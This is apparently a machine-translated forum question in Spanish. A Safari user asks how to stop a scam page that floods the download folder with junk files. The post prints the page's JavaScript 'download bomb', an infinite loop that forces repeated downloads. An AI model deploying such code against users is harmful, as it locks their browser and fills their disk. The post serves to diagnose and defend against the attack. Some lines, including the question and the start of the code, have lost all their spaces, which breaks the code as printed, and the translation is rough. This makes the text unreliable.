Fondo
Una nueva página de spam ha comenzado a aparecer en muchos sitios "cuestionables" (sitios de películas, etc.). Esta nueva página de correo no deseado se ajusta a la categoría de escaneos falsos, MacKeeper, categoría "USTED TIENE UN VIRUS", etc.
Problema
El problema con esta nueva página es que, en lugar de tener una ventana emergente, la página inicia una descarga de archivos aleatorios de 2kb (no dañinos solo contienen texto aleatorio) repetidamente cada ~ 1 ms. La carpeta de descarga se llena antes de que puedas cerrar la ventana y te quedas eliminando más de 1000 archivos. A diferencia de un problema similar en el que una página de correo no deseado muestra el diálogo de impresión, hay muy poco tiempo para reaccionar.
Intentos fallidos de resolución de problemas
-
He intentado bloquear la carpeta de descarga. Aunque impidió que las descargas ... bueno ... descargándolas, aparece un cuadro de diálogo (ver imagen). Por lo general, solo puedo descartar este cuadro de diálogo, pero como la descarga se intenta cada ~ 1 ms, aparece un nuevo diálogo cada vez que intento descartar, evitando que cierre la ventana.
-
Forzar la salida de Safari, que detiene la descarga (después de las descargas de 1k) pero luego pierdo todas mis otras ventanas
-
Cambiando la configuración a "Preguntar por cada descarga" en las preferencias de Safari. No funciona porque 1k de cuadros de diálogo abiertos abiertos me impide siquiera cerrar la pestaña. Eventualmente estrellar Safari.
Pregunta
¿CómopuedoevitarlasdescargasdespamenSafari?
ACTUALIZAR:
Aquíestáelcódigoquecausaladescarga(seobtuvoaldeshabilitarJavaScriptybuscarlomanualmente):
functiondownload(g,h,j){vark=newBlob([g],{type:j});if(window.navigator.msSaveOrOpenBlob)window.navigator.msSaveOrOpenBlob(k,h);else{varl=document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
Nota: tuve algunos problemas al ejecutar el JS en una página personalizada. Se congeló en lugar de descargar. Pude emular la descarga usando una función setInterval()
llamando a la función download
.
Más información: enlace